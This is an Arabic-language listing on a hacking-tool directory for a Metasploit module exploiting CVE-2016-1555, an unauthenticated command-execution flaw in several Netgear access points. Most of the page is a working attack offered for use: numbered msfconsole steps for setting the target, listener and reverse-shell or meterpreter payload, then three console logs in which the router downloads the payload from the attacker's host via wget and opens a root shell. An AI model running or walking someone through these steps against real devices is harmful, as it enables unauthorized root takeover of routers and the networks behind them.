Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2016-1555 — وحدة Metasploit لـ CVE-2016-1555 | Kitploit
أدوات/GitHubGitHub/ide0x90/cve-2016-1555
أمان الأنظمة المدمجةأطر الاستغلالأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubide0x90/cve-2016-1555

cve-2016-1555

وحدة Metasploit لـ CVE-2016-1555

عرض المستودع
2منذ 7 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

الوصف

تستغل الوحدة ثغرة تنفيذ أوامر غير مصادق عليها في أجهزة Netgear WN604 قبل الإصدار 3.3.3 وأجهزة WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, و WNDAP660 قبل الإصدار 3.5.5.0. تحدث الثغرة في كيفية معالجة جهاز التوجيه لطلبات POST من (1) boardData102.php، (2) boardData103.php، (3) boardDataJP.php، (4) boardDataNA.php، و (5) boardDataWW.php. تم اكتشاف الثغرة بواسطة Daming Dominic Chen، منشئ FIRMADYNE (https://github.com/firmadyne/firmadyne).

التطبيق الضعيف

  1. ابدأ تشغيل msfconsole
  2. نفذ : use exploit/linux/http/netgear_unauth_exec
  3. نفذ : set RHOST [RouterIP]
  4. نفذ : set SRVHOST [عنوان IP لخادمك] إذا كان الحمولة الخاصة بك لا تُستضاف على نظام آخر
  5. نفذ : set LHOST [عنوان IP الخاص بك]
  6. نفذ : set MAC_ADDRESS [رقم مكون من 12 خانة] إذا كنت تريد عنوان MAC محدد بدلاً من عنوان عشوائي
  7. نفذ : set TARGETURI [URI الهدف] إذا كنت تريد استهداف URI آخر بدلاً من الافتراضي boardDataWW.php
  8. نفذ : set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp إذا كنت تريد جلسة meterpreter
  9. نفذ : exploit
  10. إذا كان جهاز التوجيه ضعيفًا، سيتم إسقاط الحمولة عبر wget (مُخزِّن HTTP الافتراضي) وتنفيذها، وستحصل على جلسة

مثال مع الحمولة الافتراضية (linux/mipsbe/shell_reverse_tcp)

root@kitploit:~
msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/Ekvrz8LbW
[*] Client 192.168.200.100 (Wget) requested /Ekvrz8LbW
[*] Sending payload to 192.168.200.100 (Wget)
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56852) at 2018-10-09 20:24:56 +0630
[*] Command Stager progress - 118.97% done (138/116 bytes)
[*] Server stopped.

uname -a
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
id
uid=0(root) gid=0(root)

مثال مع meterpreter (linux/mipsbe/meterpreter/reverse_tcp)

root@kitploit:~
msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/x6ZYzUoe9x7IR
[*] Client 192.168.200.100 (Wget) requested /x6ZYzUoe9x7IR
[*] Sending payload to 192.168.200.100 (Wget)
[*] Sending stage (1108408 bytes) to 192.168.200.100
[*] Meterpreter session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56854) at 2018-10-09 20:26:39 +0630
[*] Command Stager progress - 118.33% done (142/120 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.200.100
OS           :  (Linux 2.6.32.70)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter > getuid 
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > 

مثال باستخدام URI ضعيف آخر (boardDataNA.php)

root@kitploit:~
msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set TARGETURI boardDataNA.php
TARGETURI => boardDataNA.php
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/zlJyAS8F1As
[*] Client 192.168.200.100 (Wget) requested /zlJyAS8F1As
[*] Sending payload to 192.168.200.100 (Wget)
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56856) at 2018-10-09 20:28:41 +0630
[*] Command Stager progress - 118.64% done (140/118 bytes)
[*] Server stopped.

uname -a
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
id
uid=0(root) gid=0(root)
تنزيل الأداة